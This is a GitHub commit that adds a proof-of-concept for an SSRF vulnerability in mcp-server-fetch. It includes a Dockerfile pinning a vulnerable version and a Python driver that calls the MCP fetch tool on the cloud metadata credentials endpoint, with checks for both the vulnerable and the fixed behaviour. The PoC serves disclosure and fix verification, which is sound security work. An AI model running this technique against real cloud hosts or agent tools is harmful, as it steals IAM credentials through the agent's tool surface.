Skip to content

Commit ee67467

Browse files
poc/ssrf: attacker container + JSON-RPC driver
Second of three commits. Adds the attacker container with mcp-server- fetch pinned + the stdio JSON-RPC driver script that confirms the vulnerability end-to-end. Contents this commit: - poc/ssrf/attacker/Dockerfile: python:3.11-slim + pip-installs mcp-server-fetch at the version specified by MCP_FETCH_VERSION build-arg (default 2025.4.7, the version disclosed in modelcontextprotocol/servers#4143). Set MCP_FETCH_VERSION to a post-PR-#4226 release at build time to verify the fix instead. - poc/ssrf/attacker/attack.py: spawns 'python -m mcp_server_fetch' as a stdio subprocess, runs the MCP handshake (initialize -> notifications/initialized -> tools/list), then drives a single tools/call against the fetch tool with the IMDS URL. Inspects the JSON-RPC response for either the AKIA-FAKE token (= vulnerable) or one of three fix-indicating substrings ('fetching private or non- public' / 'not allowed' / 'blocked'; case-insensitive) and exits with a documented code: 0 = VULNERABLE (the expected demo outcome) 1 = FIX VERIFIED (post-PR-#4226 build) 2 = INFRASTRUCTURE FAILURE 3 = UNEXPECTED OUTCOME Matches the pattern used by poc/dns-rebind/quick_probe.py so docker compose's --exit-code-from attacker surfaces the right code to make. Verified: - ast.parse: attack.py is syntactically valid. - ruff check: clean (auto-fixed 3 UP041 asyncio.TimeoutError -> TimeoutError). - Logic smoke test: _stringify_response correctly classifies synthetic vulnerable / fix-verified / unexpected responses against the marker set (VULN_MARKER='AKIA-FAKE', FIX_MARKERS=('fetching private or non- public', 'not allowed', 'blocked')). All three test cases produce the expected (vuln_marker, fix_marker) booleans. Not yet verified: - The actual Docker compose end-to-end run. Docker daemon was not running during this commit. The third commit's README will instruct the user to start Docker Desktop and run 'make demo' for the first end-to-end verification on their machine. Next commit: Makefile + quick_probe.py (pure-Python no-docker variant) + README explaining architecture, expected output, and the embargo / disclosure context.
1 parent d27d2a3 commit ee67467

2 files changed

Lines changed: 230 additions & 0 deletions

File tree

‎poc/ssrf/attacker/Dockerfile‎

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
FROM python:3.11-slim
2+
3+
# Pre-fix mcp-server-fetch is the default. Swap MCP_FETCH_VERSION at
4+
# build time to verify the fix:
5+
# docker build --build-arg MCP_FETCH_VERSION=<post-fix-version> ./attacker
6+
# or via the docker-compose top-level env var (see ../docker-compose.yml).
7+
ARG MCP_FETCH_VERSION=2025.4.7
8+
RUN pip install --no-cache-dir "mcp-server-fetch==${MCP_FETCH_VERSION}"
9+
10+
COPY attack.py /app/attack.py
11+
WORKDIR /app
12+
13+
CMD ["python", "attack.py"]

‎poc/ssrf/attacker/attack.py‎

Lines changed: 217 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,217 @@
1+
"""SSRF reproduction driver: drives mcp-server-fetch against the mock IMDS
2+
service and confirms the vulnerability by observing the fake IAM
3+
credentials flowing back through the JSON-RPC response.
4+
5+
Exit codes:
6+
0 = VULNERABLE (the AKIA-FAKE token came back through the fetch response)
7+
1 = FIX VERIFIED (the fix's refusal message came back instead)
8+
2 = INFRASTRUCTURE FAILURE (couldn't spawn mcp-server-fetch or reach IMDS)
9+
3 = UNEXPECTED OUTCOME (response matched neither pattern)
10+
11+
In the default harness configuration (mcp-server-fetch==2025.4.7), the
12+
expected outcome is 0 (vulnerability demonstrated). To verify the fix,
13+
rebuild with MCP_FETCH_VERSION set to a post-PR-#4226 release and
14+
re-run; the expected outcome becomes 1.
15+
"""
16+
17+
from __future__ import annotations
18+
19+
import asyncio
20+
import json
21+
import os
22+
import sys
23+
24+
IMDS_URL_DEFAULT = "http://169.254.169.254/latest/meta-data/iam/security-credentials/poc-demo-role"
25+
26+
# The IMDS mock's fake credential response embeds this literal. If it
27+
# round-trips through the JSON-RPC fetch response, the SSRF is confirmed.
28+
VULN_MARKER = "AKIA-FAKE"
29+
30+
# Substrings that indicate the fix is in place. Case-insensitive match.
31+
FIX_MARKERS = (
32+
"fetching private or non-public",
33+
"not allowed",
34+
"blocked",
35+
)
36+
37+
38+
async def _send(proc: asyncio.subprocess.Process, obj: dict) -> None:
39+
line = json.dumps(obj) + "\n"
40+
proc.stdin.write(line.encode())
41+
await proc.stdin.drain()
42+
43+
44+
async def _read_response(proc: asyncio.subprocess.Process, timeout: float = 10.0) -> dict | None:
45+
try:
46+
line = await asyncio.wait_for(proc.stdout.readline(), timeout=timeout)
47+
except TimeoutError:
48+
return None
49+
if not line:
50+
return None
51+
try:
52+
return json.loads(line.decode().strip())
53+
except json.JSONDecodeError:
54+
return None
55+
56+
57+
async def _terminate(proc: asyncio.subprocess.Process) -> None:
58+
try:
59+
if proc.stdin and not proc.stdin.is_closing():
60+
proc.stdin.close()
61+
await asyncio.wait_for(proc.wait(), timeout=2.0)
62+
except (TimeoutError, ProcessLookupError):
63+
try:
64+
proc.terminate()
65+
await asyncio.wait_for(proc.wait(), timeout=1.0)
66+
except (TimeoutError, ProcessLookupError):
67+
try:
68+
proc.kill()
69+
except ProcessLookupError:
70+
pass
71+
72+
73+
def _stringify_response(resp: dict) -> str:
74+
"""Pull all string content out of an mcp tools/call response.
75+
76+
mcp-server-fetch returns content as a list of `{type: 'text', text: ...}`
77+
objects. Pre-fix versions include the body of the HTTP response in
78+
the text. Post-fix versions include the refusal message instead.
79+
"""
80+
result = resp.get("result") or {}
81+
parts: list[str] = []
82+
for item in result.get("content", []):
83+
if isinstance(item, dict):
84+
t = item.get("text")
85+
if isinstance(t, str):
86+
parts.append(t)
87+
err = resp.get("error")
88+
if err:
89+
parts.append(json.dumps(err))
90+
return "\n".join(parts)
91+
92+
93+
async def main() -> int:
94+
imds_url = os.environ.get("IMDS_URL", IMDS_URL_DEFAULT)
95+
mcp_version = os.environ.get("MCP_FETCH_VERSION", "unknown")
96+
97+
print("=" * 65)
98+
print(" mcp-witness SSRF PoC reproduction")
99+
print("=" * 65)
100+
print(f" mcp-server-fetch version: {mcp_version}")
101+
print(f" target URL: {imds_url}")
102+
print(" expected outcome (vulnerable): AKIA-FAKE token returned")
103+
print(" expected outcome (fixed): URL refused as private/non-public")
104+
print()
105+
106+
try:
107+
proc = await asyncio.create_subprocess_exec(
108+
sys.executable,
109+
"-m",
110+
"mcp_server_fetch",
111+
stdin=asyncio.subprocess.PIPE,
112+
stdout=asyncio.subprocess.PIPE,
113+
stderr=asyncio.subprocess.PIPE,
114+
)
115+
except (FileNotFoundError, OSError) as e:
116+
print(f"INFRA: failed to spawn mcp-server-fetch: {e}", file=sys.stderr)
117+
return 2
118+
119+
print("[1/4] initialize handshake ...")
120+
await _send(
121+
proc,
122+
{
123+
"jsonrpc": "2.0",
124+
"id": 1,
125+
"method": "initialize",
126+
"params": {
127+
"protocolVersion": "2025-06-18",
128+
"capabilities": {},
129+
"clientInfo": {"name": "ssrf-poc-attacker", "version": "1.0"},
130+
},
131+
},
132+
)
133+
init_resp = await _read_response(proc)
134+
if init_resp is None or "result" not in init_resp:
135+
print(f"INFRA: initialize failed: {init_resp}", file=sys.stderr)
136+
await _terminate(proc)
137+
return 2
138+
139+
await _send(proc, {"jsonrpc": "2.0", "method": "notifications/initialized"})
140+
141+
print("[2/4] tools/list ...")
142+
await _send(proc, {"jsonrpc": "2.0", "id": 2, "method": "tools/list"})
143+
tools_resp = await _read_response(proc)
144+
if tools_resp is None or "result" not in tools_resp:
145+
print(f"INFRA: tools/list failed: {tools_resp}", file=sys.stderr)
146+
await _terminate(proc)
147+
return 2
148+
tool_names = [t["name"] for t in tools_resp["result"].get("tools", [])]
149+
print(f" tools available: {tool_names}")
150+
if "fetch" not in tool_names:
151+
print(f"INFRA: fetch tool not found in {tool_names}", file=sys.stderr)
152+
await _terminate(proc)
153+
return 2
154+
155+
print(f"[3/4] tools/call fetch(url={imds_url!r}) ...")
156+
await _send(
157+
proc,
158+
{
159+
"jsonrpc": "2.0",
160+
"id": 3,
161+
"method": "tools/call",
162+
"params": {
163+
"name": "fetch",
164+
"arguments": {"url": imds_url},
165+
},
166+
},
167+
)
168+
fetch_resp = await _read_response(proc, timeout=15.0)
169+
await _terminate(proc)
170+
171+
if fetch_resp is None:
172+
print("INFRA: fetch tool-call timed out or returned nothing", file=sys.stderr)
173+
return 2
174+
175+
print("[4/4] analyzing response ...")
176+
print()
177+
178+
result_text = _stringify_response(fetch_resp)
179+
print("--- response body ---")
180+
print(result_text[:2000])
181+
print("--- (end response) ----")
182+
print()
183+
184+
if VULN_MARKER in result_text:
185+
print("=" * 65)
186+
print(" PoC RESULT: VULNERABLE")
187+
print("=" * 65)
188+
print(f" The fake AKIA token ({VULN_MARKER!r}) appears in the response.")
189+
print(" mcp-server-fetch retrieved cloud-metadata credentials via the")
190+
print(" agent tool surface with no scheme/host validation. In a real")
191+
print(" EC2 deployment, these would be live IAM credentials.")
192+
print()
193+
print(" disclosure: modelcontextprotocol/servers#4143")
194+
print(" fix: modelcontextprotocol/servers PR #4226 (kgarg2468)")
195+
return 0
196+
197+
lower = result_text.lower()
198+
if any(marker in lower for marker in FIX_MARKERS):
199+
print("=" * 65)
200+
print(" PoC RESULT: FIX VERIFIED")
201+
print("=" * 65)
202+
print(" mcp-server-fetch refused to fetch the metadata endpoint.")
203+
print(" This is the post-PR-#4226 behavior (scheme allowlist +")
204+
print(" RFC-reserved-range denylist + per-redirect validation).")
205+
return 1
206+
207+
print("=" * 65)
208+
print(" PoC RESULT: UNEXPECTED")
209+
print("=" * 65)
210+
print(" Response matched neither the vulnerable nor fixed pattern.")
211+
print(" This may indicate a different upstream version, a network")
212+
print(" routing issue, or an mcp-server-fetch behavior change.")
213+
return 3
214+
215+
216+
if __name__ == "__main__":
217+
sys.exit(asyncio.run(main()))

0 commit comments

Comments
 (0)